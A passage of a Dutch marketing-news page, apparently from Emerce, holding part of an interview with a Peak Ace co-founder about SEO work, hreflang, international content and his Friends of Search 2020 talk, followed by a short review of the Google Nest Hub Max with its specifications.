“Dat is helemaal waar; Peak Ace heeft de afgelopen jaren een enorme groei doorgemaakt. We hebben momenteel bijna 130 mensen in dienst. Mijn partner Marcel en ik hebben de verantwoordelijkheden in principe verdeeld. Vanuit kanaalperspectief houdt hij toezicht op alle advertising, terwijl ik verantwoordelijk ben voor organic search, wat zowel onze SEO-consultancy als performance driven contentmarketing betekent. Beide teams hebben afdelingshoofden die verantwoordelijk zijn voor de dagelijkse operatie. Daarnaast ben ik bezig met business development en sales, in combinatie met onze marketing. Dit bij elkaar opgeteld zijn vijf directe verantwoordelijkheden, dat is voor mij het limiet om effectief te kunnen managen. Ik ben soms gedeeltelijk betrokken bij onze grote SEO-accounts en doe ook nog een handvol workshops. En de rest van de tijd besteed ik aan reizen voor congressen of pitches.”
Iedereen heeft een moment gehad dat ze ‘ja’ hebben gezegd tegen hun beroep. Was het bij jou dus het moment dat je verkeer naar je eigen websites wilde?
“Toen die eerder genoemde websites van fans plotseling bizarre hoeveelheden verkeer kregen door mijn organic search acties, dacht ik: “Yes, dit is eigenlijk heel cool!” Dus ik bleef spelen met search, en werd natuurlijk ineens betrokken bij affiliate marketing voordat ik na een tijdje inhouse aan de slag ging. Daarna ben ik aan de consultant/bureau-kant terecht gekomen.”
Wat is tegenwoordig het meest uitdagende deel van je werk? Heb je hreflang al verslagen? Focus je vol op Javascript? Of zit je helemaal in conversational search?
“Om eerlijk te zijn vind ik het onmogelijk om maar een uitdagend onderdeel uit te kiezen. Naar mijn mening hebben de meeste websites hun eigen uitdagingen en hangt het echt af van de setup. Als ik nou echt één onderwerp zou moeten kiezen, zou ik nu voor all things render kiezen. De implicatie die Google niet eerder beschikbaar had over het lezen en verwerken van informatie, verandert de manier waarop we SEO doen aanzienlijk. En over JavaScript, dat is niet het enige dat – denk ik – een gigantisch thema opzich is, maar eerder Google’s algemene begrip over de visuele representatie layer, ontwikkelingen in crawling technologie en nog veel meer. Maargoed, om even terug te komen op je vraag, ik ben ervan overtuigd dat hreflang is een van de moeilijkste zaken om goed te regelen, ik ken maar weinig websites die het voor elkaar hebben. En om eerlijk te zijn begint het bij de core die niet werkt. Het werkt bijna net zo goed als canonieke tags.“
Wat zie jij als full-scale internationaal SEO manager als de grootste uitdagingen voor klanten? Ik kan me voorstellen dat het contentgedeelte van een meertalig, meer landen domein een grote interne uitdaging en uitdaging voor klanten kan zijn. Kan je een geheim delen?
“Efficiënte, gestroomlijnde communicatie, perfect projectmanagement en goede lokalisatie. Peak Ace is zo neergezet we er optimaal kunnen zijn voor internationale klanten en accounts. Op dit moment bieden we 20+ talen met native expert-sprekers aan, allemaal vanaf één locatie; Berlijn. We geloven niet in puur laten vertalen of het werken met freelancers op dit soort projecten. Wat je ook probeert, de kwaliteit lijdt eronder.. Dus vanaf het begin hebben we native mensen naar Berlijn gehaald en aangenomen en dat werkt voor ons perfect.”
Er zijn collega’s van je die erg sceptisch zijn over de nabije toekomst van digitale marketing. Fili Wiese denkt dat we allemaal worden genaaid door de filter bubbel; Jono Alderson zegt dat we te laat zijn om op AI te anticiperen, onze banen zullen snel achterhaald zijn en we moeten allemaal affiliate marketeers worden; en Rand zegt dat we allemaal slaven van Google zijn en dat we een slechte deal maken met het vullen van hun index. Hoe denk jij over de toekomst en de rol van search marketeers hierin?
“Ik denk dat onze banen nog verder en sneller zullen veranderen, maar dat is niks nieuws. Als ik terugkijk naar wat ik vijf jaar geleden deed, was dat totaal iets anders dan wat ik vandaag doe. Maar ik zie ook dat mijn gewaardeerde collega’s gelijk hebben in de hoeveelheid informatie die online beschikbaar is. Dit kan behoorlijk overweldigend zijn en afhankelijk van de kringen waarin je je bevindt, kan deze bevooroordeeld zijn. Maar laten we wel wezen: het kat- en muisspel is niets nieuws – in feite doen we dit al jaren en jaren. Ik begrijp dat het frustrerend kan zijn als Google ‘ineens’ iets verandert, maar het zou krankzinnig zijn om slechts op één tactiek te vertrouwen om verkeer te verwerven. Zolang je optimaliseert voor Google heb je je te houden aan hun regels en die kunnen nou eenmaal veranderen.”
Als je een SEO-techniek uit het verleden terug zou kunnen halen, welke zou dat dan zijn?
“Het verleden is het verleden; ik ben blij dat ik dat achter me kan laten. Sommige dingen waren gewoon echt te makkelijk.”
Welk advies wil je de lezers van dit interview niet onthouden?
“Er is één SEO-regel: test, test en test. SEO wordt steeds complexer en, naar mijn mening, vertrouwen mensen veel te veel op ofwel (niet-gevalideerde) meningen van anderen, meetup-discussies en/of tweets van vertegenwoordigers van zoekmachines. De realiteit ziet er echter vaak heel, heel anders uit; nogmaals, omdat je geen context hebt. Test alles zelf, trek je eigen conclusies en voer pas daarna uit. En pas dan begrijp je de ‘waaroms’ ervan!”
Zie je jezelf over tien jaar nog steeds in de digitale wereld? Of zijn je dromen groter dan internet?
“Tien jaar is een hele lange tijd, eerlijk gezegd heb ik geen idee. Maar ik heb gehoord dat het pensioen ook best oké is?”
Waarom zou iedereen je presentatie moeten zien bij Friends of Search?
“Oeh daar maak je het lastig, ik wil jullie niet teveel verwennen. Maar ik moet toegeven dat ik super enthousiast ben om terug te komen op FOS 2020! Ik herinner me de eerste editie in 2014 nog goed. Ik had toen een presentatie met de titel Hardening WordPress, een presentatie waar in de jaren erna nog veel is verwezen. Deze editie gaat heel anders zijn, we hebben bij Peak Ace hebben iets heel spannends gebouwd met ons SEO- en ontwikkelingsteam. Ik ga het exclusief tijdens Friends of Search 2020 presenteren. En nee, het is geen nieuw SEO-product. En ja, ik ga daarna alles met de community delen. Een ding kan ik je beloven; het gaat de manier waarop jij in de toekomst technische SEO doet veranderen. Stay tuned!”
Over de auteur: Gerk Mulder werkt als senior SEO consultant.
Google Nest Hub Max: venster op de wereld
Posted 15 jan 2020 — by Emerce
Category nieuws
Category nieuws
De voice assistent kennen we ondertussen wel en ook de smart speakers beginnen een plekje te verwerven in huishoudens wereldwijd. Er dient zich echter een nieuwe vormfactor aan.
Als je het plat slaat, is het gewoon een computer of een telefoon, maar dan zonder een toetsenbord en met een groot scherm en oren. De meest recente die in Nederland beschikbaar is, is de Nest Hub Max van Google. Vanwege de ingebouwde camera heb je direct een inpandige veiligheidscamera die alarm slaat bij onverwachte situaties, maar je kunt ook YouTube pauzeren en aanzetten met een handbeweging. Gezichtsherkenning zorgt er voor dat het apparaat de persoonlijke agenda van iedereen in huis kan voorlezen.
De vraagt dringt zich op hoe serieus deze vormfactor is. Is het een gadget of de volgende grote golf in tech? Het antwoord: recente cijfers van Canalys laten zien dat smart screens geen muurbloempjes zijn. Twintig procent van de 28,6 miljoen verkochte smart speakers in het derde kwartaal had een scherm. Van jaar op jaar is dat een toename van 500 procent. Naarmate er meer toepassingen komen, zal het gebruik vanzelf groeien. Maar verwacht niet dat je een kleine keuken-tv koopt. Je blijft wel overwegend in de Google-wereld.
Specificaties
10” touch screen 1280×800 px
Gewicht: 1,3 kg
Schermverlichting: Ambient
Spraakbesturing: Google Assistent
Camera: 6,5 mp, 127 graden kijkhoek
Connectivteit: Wifi, Bluetooth
Geluid: 2x 18mm 10W tweeters, 1x 75mm 30W subwoofer
Mics: 2 x Far-field
Prijs: 129 euro
Site: bit.ly/2OLRlAE
* Dit artikel is eerder gepubliceerd in het decembernummer van Emerce Magazine #175.
